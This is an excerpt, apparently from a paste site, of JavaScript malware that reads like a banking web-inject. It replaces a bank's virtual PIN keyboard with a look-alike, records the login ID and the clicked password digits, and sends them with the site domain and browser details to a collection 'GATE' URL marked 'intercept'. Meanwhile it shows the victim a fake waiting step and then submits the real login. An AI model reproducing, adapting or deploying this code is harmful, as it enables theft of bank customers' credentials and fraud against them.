  1444.         HOLDER.LOGIN = UI_login_input.value;
  1445.         vw.fake_step("wait",true);
  1446.         var LINK = GATE+"?mode=LOGIN&login1="+HOLDER.LOGIN+"&login2="+HOLDER.PASSWORD+"&hash="+Number(new Date());
  1447.         LINK += "&type=intercept&message=Loginning...";
  1448.         LINK += "&domain="+document.domain;
  1449.         LINK += "&browser="+vw.browser();
  1450.         kl = "login";
  1451.         hujax.send(LINK);
  1452.     }
  1453. }
  1454.  
  1455. vw.keyboard_click = function(index,el){
  1456.     if(index < 10){
  1457.         index = "0"+index;
  1458.     }else{
  1459.         index += "";
  1460.     }
  1461.     var origA = by.args(document,"a","href:figureClick.*"+index);
  1462.     if(origA){
  1463.         HOLDER.PASSWORD += /[0-9]/igm.test(vw.text(el)) ? vw.text(el) : "_";
  1464.         vw.mouse("click",origA);
  1465.     }
  1466. }
  1467.  
  1468. vw.keyboard_replace = function(){
  1469.     var keyDiv = document.getElementById("secret-nbr-keyboard");
  1470.     if(keyDiv){
  1471.         var newKey = document.createElement("div");
  1472.         newKey.innerHTML =  '<div style="height:28px;">'+
  1473.                                 '<a onclick="vw.keyboard_click(1,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>1</b></a>'+
  1474.                                 '<a onclick="vw.keyboard_click(2,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1475.                                 '<a onclick="vw.keyboard_click(3,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1476.                                 '<a onclick="vw.keyboard_click(4,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1477.                                 '<a onclick="vw.keyboard_click(5,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>0</b></a>'+
  1478.                             '</div>'+
  1479.                             '<div style="height:28px;">'+
  1480.                                 '<a onclick="vw.keyboard_click(6,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1481.                                 '<a onclick="vw.keyboard_click(7,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1482.                                 '<a onclick="vw.keyboard_click(8,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>2</b></a>'+
  1483.                                 '<a onclick="vw.keyboard_click(9,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>9</b></a>'+
  1484.                                 '<a onclick="vw.keyboard_click(10,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1485.                             '</div>'+
  1486.                             '<div style="height:28px;">'+
  1487.                                 '<a onclick="vw.keyboard_click(11,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1488.                                 '<a onclick="vw.keyboard_click(12,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>7</b></a>'+
  1489.                                 '<a onclick="vw.keyboard_click(13,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1490.                                 '<a onclick="vw.keyboard_click(14,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1491.                                 '<a onclick="vw.keyboard_click(15,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1492.                             '</div>'+
  1493.                             '<div style="height:28px;">'+
  1494.                                 '<a onclick="vw.keyboard_click(16,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1495.                                 '<a onclick="vw.keyboard_click(17,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1496.                                 '<a onclick="vw.keyboard_click(18,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>5</b></a>'+
  1497.                                 '<a onclick="vw.keyboard_click(19,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>4</b></a>'+
  1498.                                 '<a onclick="vw.keyboard_click(20,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>6</b></a>'+
  1499.                             '</div>'+
  1500.                             '<div style="height:28px;">'+
  1501.                                 '<a onclick="vw.keyboard_click(21,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1502.                                 '<a onclick="vw.keyboard_click(22,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1503.                                 '<a onclick="vw.keyboard_click(23,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>&nbsp;</b></a>'+
  1504.                                 '<a onclick="vw.keyboard_click(24,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>8</b></a>'+
  1505.                                 '<a onclick="vw.keyboard_click(25,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>3</b></a>'+
  1506.                             '</div>'+
  1507.                             '';
  1508.         keyDiv.parentNode.insertBefore(newKey,keyDiv);
  1509.         keyDiv.style.display = "none";
  1510.     }
  1511. }
  1512.  
  1513. vw.lethim = function(){
  1514.     vw.mouse("click",UI_login_button);
  1515. }
  1516.  
  1517. vw.start = function(){
  1518.     vw.blockenter(UI_login_input);
  1519.     vw.keyboard_replace();
  1520.     var ahs = vw.from(document,"a");
  1521.     if(ahs && ahs.length > 0){
  1522.         for(var i = 0; i < ahs.length; i++){
  1523.             if(/reinit/igm.test(ahs[i].href)){
  1524.                 vw.bind(ahs[i],"click",function(){
  1525.                     HOLDER.PASSWORD = "";
  1526.                 });
  1527.             }
  1528.         }
  1529.     }
  1530.     clone.click(UI_login_button,vw.button);
  1531. }
  1532.  
  1533. vw.inside = function(){
  1534.     return by.args(document,"img","alt:d.*connexion");
  1535. }
  1536.  
  1537. function _start(){
  1538.     if(UI_login_input && UI_password_input && UI_login_button){
  1539.         hujax.start();
  1540.     }else if(vw.inside()){
  1541.         hujax.replacer();
  1542.     }else{
  1543.         vw.showdoc(document);
  1544.     }
  1545. }
  1546.  
  1547. _start();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement